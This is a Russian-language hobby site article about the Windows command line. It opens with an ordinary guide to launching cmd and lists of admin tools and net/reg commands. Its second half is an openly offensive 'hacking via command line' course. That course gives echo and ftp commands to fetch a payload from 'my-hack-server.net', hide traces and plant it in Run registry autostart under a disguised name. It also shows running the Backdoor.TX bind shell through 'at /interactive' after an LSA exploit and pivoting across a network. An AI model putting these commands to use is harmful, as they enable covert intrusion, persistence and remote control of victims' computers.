KOMPOLOM
Главная
Вход
Регистрация
Суббота, 18.Май.2024, 13:41Приветствую Вас Гость | RSS
Меню сайта

Категории раздела
Мои статьи [32]

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Главная » Статьи » Мои статьи

Командная строка

Что такое командная строка?

Командная строка - это средство, которое позволяет получить доступ к управлению операционной системой посредством ввода команд. Возможно, Вы не знаете, что раньше все операционные системы, такие как DOS, не имели графического интерфейса, и всё там делалось именно через командную строку: копировались и перемещались файлы, запускались программы и игры, выполнялись служебные задачи (такие как архивирование файлов, форматирование  дискет, слушалась музыка и проигрывалось видео. Хотя нет, цифрового видео тогда не было. Да и музыка была не музыкой, а так, полифоническими мелодиями. smile

Традиционно, это средство осталось в Windows, его продолжают использовать для тех или иных целей, и ниже Вы прочтёте о вызове командной строки в Windows 7.

Как же вызвать командную строку в Windows 7?

Сейчас я опишу несколько способов вызова командной строки, как оказалось, их довольно много smile

Windows 7, окно командной строки

Способ 1. Через ярлык в меню Пуск.

В Windows 7  программу «командная строка», а точнее - ярлык на неё можно найти так:

Пуск -> Программы -> Стандартные -> Командная строка

Однако, быстрее будет, если после нажатия кнопки Пуск начать вводить «командная строка», и при вводе отобразится ярлык на неё, и командную строку можно будет запустить.

Пуск - Командная строка

Сейчас пришло время рассказать один важный нюанс. Я, конечно, не знаю, какие действия Вы собираетесь выполнять с интерпретатором команд (так ещё иногда называют эту программу), однако, по умолчанию, если просто кликнуть по её ярлыку, то командная строка откроется без прав администратора, и выполнение некоторых команд будет недоступно (отказано в доступе). Чтобы запустить командную строку с правами администратора, необходимо кликнуть по ней правой кнопкой и выбрать «Запуск от имени администратора».

Способ 2. Запуск командной строки через контекстное меню любой папки.

Как бы то ни было, однако командная строка, вызванная способом выше, сразу откроет нам путь, ведущий к папке профиля пользователя Windows (например, C:UsersAdmin). Этот каталог будет отобразится перед мигающей чёрточкой и будет служить отправной точкой для запуска программ. Я не буду сейчас вдаваться в подробности, так как это очень длинная тема, однако, расскажу ещё один способ вызова командной строки, о котором узнал только недавно, когда писал статью о списке горячих клавиш в Windows 7.

Так вот, если в Windows 7 кликнуть правой кнопкой по любой папке, при этом зажав клавишу Shift, тогда перед нами откроется не обычное, а расширённое меню, и в нём появится парочка дополнительных пунктов: «Копировать как путь» и «Открыть окно команд». Последняя команда как раз и вызовет нашу командную строку, при этом открытой будет именно эта папка. Первый пункт тоже довольно полезный - он копирует в буфер обмена адрес папки.

Способ 3. Вызов командной строки через окошко «Выполнить».

В Windows есть окошко «Выполнить», которое разработчики убрали из меню Пуск, но его можно там отобразить. Ещё это окошко можно вызвать через комбинацию клавиш Win+R.

Так вот, в это окошко можно ввести cmd (это кодовое имя Командной строки), и она запустится. Правда, без прав администратора. Также, слово cmd можно вводить в меню Пуск, и программа, которая там отобразиться, будет является Командной строкой, хотя и не будет так подписана.

Кстати, окно «Выполнить» выполняет функции похожие на те, что делает Командная строка (простите за такой каламбур слов). В него тоже можно вводить команды.

Способ 4. Открытие Командной строки напрямую.

Наша программа находится в директории Windows, по адресу system32cmd.exe. То есть её полный путь, скорее всего, имеет вид:

C:\Windows\system32\cmd.exe

 

 

Кроме встроенной в Windows командной строки cmd.exe. При работе под ограниченной в правах учетной записью часто приходится выполнить какую-то задачу с повышенными правами Администратора. cmd для этих задач самое подходящее средство, чтобы не вводить по-многу раз пароль администратора, достаточно один раз запустить командную строку от имени администратора и выполнять нужные действия запускать нужные команды, которые я опишу ниже:

appwiz.cpl - Установка и удаление программ
certmgr.msc - Сертификаты
ciаdv.msc - Служба индексирования
cliconfg - Программа сетевого клиента SQL
clipbrd - Буфер обмена
compmgmt.msc - Управление компьютером
dcomcnfg - Консоль управления DCOM компонентами
ddeshare - Общие ресурсы DDE (на Win7 не работает)
desk.cpl - Свойства экрана
devmgmt.msc — Диспетчер устройств
dfrg.msc - Дефрагментация дисков
diskmgmt.msc - Управление дисками
drwtsn32 - Dr.Watson
dxdiag - Служба диагностики DirectX
eudcedit - Редактор личных символов
eventvwr.msc - Просмотр событий
firewall.cpl - настройки файерволла Windows
gpedit.msc - Груповая политика
iexpress - IExpress (не знаю что это )
fsmgmt.msc - Общие папки
fsquirt - Мастер передачи файлов Bluetooth
chkdsk - Проверка дисков (обычно запускается с параметрами буква_диска: /f /x /r)
control printers - Принтеры и факсы - запускается не всегда
control admintools - Администрирование компьютера - запускается не всегда
control schedtasks - Назначенные задания (планировщик)
control userpasswords2 - Управление учётными записями
compmgmt.msc - Управление компьютером (compmgmt.msc /computer=pc - удаленное управление компьютером pc)
lusrmgr.msc - Локальные пользователи и группы
mmc— создание своей оснастки
mrt.exe - Удаление вредоносных программ
msconfig - Настройка системы (автозапуск, службы и др...)
mstsc - Подключение к удаленному рабочему столу
ncpa.cpl - Сетевые подключения
ntmsmgr.msc - Съёмные ЗУ
ntmsoprq.msc - Запросы операторов съёмных ОЗУ (для XP)
odbccp32.cpl - Администратор источников данных
perfmon.msc - Производительность
regedit - Редактор реестра
rsop.msc - Результатирующая политика
secpol.msc - Локальные параметры безопасности (Локальная политика безопасности)
services.msc - Службы
sfc /scannow - Восстановление системных файлов
sigverif - Проверка подписи файла
sndvol — управление громкостью
sysdm.cpl - Свойства системы
sysedit - Редактор системных файлов (не знаю, что это )
syskey - Защита БД учётных записей
taskmgr - Диспетчер задач
utilman Диспетчер служебных программ
verifier Диспетчер проверки драйверов
wmimgmt.msc - Инфраструктура управления WMI

Данный список - это в основном GUI'овые пролижения. Ниже в отдельный список выделю консольные команды.

Также запустить приложения в панели управления с правами администратора, можно если щелкнуть правой кнопкой мышки одновременно удерживая клавишу Shift. И выбрать Запуск от имени.(RunAs...) (актуально для Win XP).

Список консольных команд:

nbtstat -a pc — имя пользователя работающего за удаленной машиной pc
net localgroup group user /add — Добавить в группу group, пользователя user
net localgroup group user /delete — Удалить пользователя из группы
net send pc ''текст '' - отправить сообщение пользователю компьютера pc
net sessions — список пользователей
net session /delete - закрывает все сетевые сессии
net use l: \\имя компа\папка\ - подключить сетевым диском l: папку на удаленном компьютере
net user имя /active:no - заблокировать пользователя
net user имя /active - разблокировать пользователя
net user имя /domain - информация о пользователе домена

 

 


 

net user Имя /add — добавить пользователя
net user Имя /delete — удалить пользователя
netstat -a - список всех подключений к компьютеру
reg add — Добавить параметр в реестр
reg compare — Сравнивать части реестра.
reg copy — Копирует из одного раздела в другой
reg delete — Удаляет указанный параметр или раздел
reg export — Экспортировать часть реестра
reg import — Соответственно импортировать часть реестра
reg load — Загружает выбранную часть реестра
reg query — Выводит значения заданной ветки реестра
reg restore — Восстанавливает выбранную часть реестра из файла
reg save — Сохраняет выбранную часть реестра
reg unload — Выгружает выбранную часть реестра
shutdown — выключение компьютера , можно удаленно выключить другой.
SystemInfo /s machine - покажет много полезного об удаленной машине

 

 

[ Курс молодого бойца - взлом через командную строку ]

Многие ли из вас задумывались насколько полезной и опасной может оказаться 
командная строка?
Хочу предложить вам более внимательно приглядеться к этому вопросу.
Итак. Когда у вас есть доступ к чьей-то командной строке запущенной от 
SYSTEM, это хорошо.
Когда у вас есть доступ к чьей-либо командной строке запущенной от учетной 
записи с админ правами это очень хорошо!
Давайте ка рассмотрим это на примере RAdmin'a для системной учетки и на 
примере трояна Backdoor.TX от админа. Приступим.
RAdmin 2.1 предоставляет нам терминальное окно командной строки которая 
запускается на удаленной машине от имени системы. Как бы это ни звучало 
странно но работать с привилегиями системы чрезвычайно неудобно.
Ни тебе взаимодействия с окнами ни компьютер выключить. Но есть элегантное 
решение с повышением привилегий, но к сожалению в радмине не прокатит. Мы 
рассмотрим это на примере трояна бэкдора далее.
Командная строка, в умелых руках творит чудеса. С ее помощью можно вытащить 
столько полезной информации о системе что любому хватит. Разумеется это 
вам не диспетчер устройств, но тех сведений что она предоставит хватит для 
наших задач.
Вот например. Задача. У вас есть(неважно каким путем) доступ к командной 
строке под системной учеткой. Вам нужно закачать на компьютер файл и 
выполнить его. Что делать? Как закачать?
Есть такое полезное средство в виндах, низкоуровневый ftp клиент который 
так и именуется - ftp.
Через командную строку удаленную весьма сложно вводить пароль и юзернейм, 
легче сделать это дав этой утилите файл сценария фтп. Сначала требуется его 
создать. Например вот так он должен выглядеть:

open my-hack-server.net
Admin
12345
get myfile.exe %windir%\exploiter.exe
bye

Как его такой прописать с переносами? А на это есть универсальная команда 
echo. Прописав echo data>>text.txt вы тем самым выведите данные "data" в 
файл text.txt в текущей папке. Если такой файл есть, эти данные добавятся 
новой строкой в конце файла.
Текущая папка к сведению, отображается в окне cmd перед вводимой командой, 
например C:\windows\system32>, здесь текущая папка, как вы понимаете, 
C:\windows\system32. Чтобы работать в нужной вам папке без необходимости 
каждый раз дописывать полный путь к файлу введите cd имя_папки.
Итак продолжим с нашей задачей загрузки файла на компьютер. Создадим файл 
сценария для утилиты ftp.

echo open my-hack-server.net>>c&&echo Admin>>c&&echo 12345>>c&&echo get myfile.exe 
%windir%\exploiter.exe>>c&&echo bye>>c

Теперь у нас есть файл "c" в текущей папке где прописан весь сценарий для 
утилиты ftp. Теперь давайте вызовем ее.

ftp -s:c

Все, если все прошло успешно появится несколько записей с содержанием нашего 
файла сценария и процесс фтп завершится. Мы получим наш файл exploiter.exe =)
Главное - не забудьте удалить мусор. Команда "del c" удалит файл сценария 
чтобы ваш сервер не нашли.
Задача номер два - прописать этот файл в автозапуск.
Есть два варианта - просто скопировать его в папку 
<диск с windows>:\documents and settings\all users\ далее в зависимости от 
языка или Главное меню\Программы\Автозагрузка или Start menu\programs\startup\.
А есть вариант прописать в реестре.
Делается это очень хорошей утилитой reg. Немного о ней.
reg query - запрос всех ключей и параметров указанного ключа, например 
reg query "hklm\software\microsoft\windows nt\currentversion" или 
reg query hklm\system\currentcontrolset\services\sharedaccess\
Заметьте, что имена содержащие пробелы пишутся заключенными в кавычки иначе 
будет ошибка.
reg delete - удаление всего ключа или значения ключа, например 
reg delete "hklm\software\test soft\" /v myvalue удалит только myvalue значение 
из ключа, а reg delete "hklm\software\test soft" удалит весь ключ. Перед любой 
операцией delete будет запрос Y/N.
reg add - добавление/изменение значения, например 
reg add "hklm\software\microsoft\" /v Suckz /t REG_SZ /d "Oh yeah, M$ suckz!!!" 
добавит параметр Suckz типа строки, а 
reg add "hklm\software\microsoft\" /v Suckz /t REG_DWORD /d 1 добавит тот же
параметр но типа REG_DWORD, то есть численное значение до 0xFFFFFFFF.

В нашем случае будет полезна функция reg add. Чтобы добавить прогу в 
автозагрузку пропишем команду:

reg add hklm\software\microsoft\windows\currentversion\run\ /v ctfmonz.exe /t REG_SZ /d exploiter.exe

Вот мы и прописали наш файлик в реестре. Теперь можно спокойно поизучать систему.
Во первых обычно при вторжении на компьютер требуется определить структуру сети и 
подключен ли он к другим компьютерам по подсети. Большой удачей можно считать 
захват сервера подсети, например 192.168.0.1. Не всегда это значит что это основной 
сервер, ип можно прописать любой, но все же представление о структуре сети можно 
получить набором утилит netstat и ipconfig.
Команда netstat -ano выведет список всех текущих подключений к компьютеру и от него. 
Там же чаще всего можно увидеть какие порты открыты, какие сервера установлены и 
примерно узнать что сейчас делает владелец компьютера.
Команда ipconfig /all выведет все сетевые интерфейсы компьютера с IP адресами и 
аппаратными адресами. Тоже весьма полезно в изучении структуры сетей.
На офисных серверах чаще всего стоят Windows XP SP2 а скоро и SP3, или 
Windows Server 2003. Админы разумеется не перекрывают NetBIOS в подсети. А 
часто там находятся компьютеры с WinXP SP1 или без SP. Значит их можно взломать 
через lsa exploit используя сервер как отправную точку. И так далее, если другие 
компьютеры используют центральный сервер который вы взломали для выхода в интернет, 
то вы также сможете закачать свои программы на эти компьютеры.
Для общей системной информации используем systeminfo, там много ценной информации 
о системе, в т.ч. аптайм, что тоже может о многом говорить для каких целей 
используется компьютер, чаще всего если аптайм более 3 суток это серверный компьютер 
на котором есть что посмотреть, хотя опять таки не всегда. Это лишь теория.
Чтобы процессы посмотреть или грохнуть что нибудь юзаем tasklist и taskkill. 
Следует отметить что tasklist в Winows XP без сп или с сп1 не работает.
Убивать процесс по найденному PID можно таким макаром: taskkill /F /PID PID_процесса, 
например так:

taskkill /F /PID 1234 - уничтожит процесс с дескриптором 1234.

Не забывайте, это всего лишь цифра, и они всегда разные даже в 1 системе при 
перезагрузке процесса или компьютера.
Базовые функции работы с файлами - dir, copy, del, echo.
dir перечисляет все папки и файлы в текущей папке(см выше).
copy что_копировать куда_копировать , например copy c:\windows\exploiter.exe 
"c:\documents and settings\all users\start menu\programs\startup\lamer.exe" - заметьте, 
в адресе где есть пробелы НЕОБХОДИМО ставить кавычки перед и после адреса.
del что_удалять удаляем файл/папку.

Думаю освоившись с ftp, echo, dir, del, copy, reg и netstat вы далее сами уже всему 
научитесь =)

Теперь давайте рассмотрим очень любопытную возможность повышения привилегий на 
примере трояна Backdoor.TX. Это к слову один из самых простых и популярных 
бэкдоров шеллкод которого используется многими хакерами по всему миру.

Его принцип работы состоит в создании сокета на порту 8080, принятия коннекта и 
связывания stdin, stdout с сокетом а далее запуска командной строки. Больше сам 
процесс трояна не требуется и он завершается.
Рассмотрим такую связку - LSA Exploit + Backdoor.TX.
При коннекте через LSA Exploit создается сервер на указанном порту, и такая же 
связка stdin и stdout с серверным сокетом. Но происходит это от имени системы, 
что не дает выполнять команду shutdown и некоторые другие.
Что делать? А вот что-загрузим известным нам уже способом по фтп наш троян 
Backdoor.tx, и попытаемся запустить его в режиме Interactive, фактически от имени
юзера который сейчас сидит и даже не подозревает о том злодеянии что приготовил 
ему билл гейтс и вы с LSA Exploit'ом =)
Как? Простой запуск трояна ни к чему не приведет, потому что привилегии создаваемого 
процесса наследуются от родителя, значит опять будут все те же самые ограничения. 
Решается это просто - командой at
Стоит заметить что иногда она не работает выдавая ошибку "Служба не запущена". В 
таком случае незаменимой становится утилита net. Запустим сервис Планировщика задач 
нужный утилите at вот таким методом:

net start schedule

Если служба не была намеренно отключена администратором то нам удастся ее запустить. 
После запуска проследуем к команде at
Перед этим надо получить текущее время на удаленной машине, командой time /t
Она выведет текущее время. Вводим далее это время в at, но +2 минуты.
at полученное_время_+2минуты /interactive путь_к_файлу

Ждем некоторое время. Смотрим когда время наступило netstat -ano, есть ли там порт 8080. 
Если да, пробуем подключиться через компонент lsa exploit'a, lsesd адрес порт, 
например lsesd 83.174.254.243 8080
При удачном подключении вы можете запускать программы от имени юзера и далее рулить 
системой как вашей фантазии угодно :)
Категория: Мои статьи | Добавил: Andre355 (04.Июл.2014)
Просмотров: 2741 | Комментарии: 3 | Рейтинг: 0.0/0
Всего комментариев: 2
1 николай  
0
полезная статья... автору 5++++++++))

2 Andre355  
0

Имя *:
Email *:
Код *:
Вход на сайт

Поиск

Друзья сайта
  • Официальный блог
  • Сообщество uCoz
  • FAQ по системе
  • Инструкции для uCoz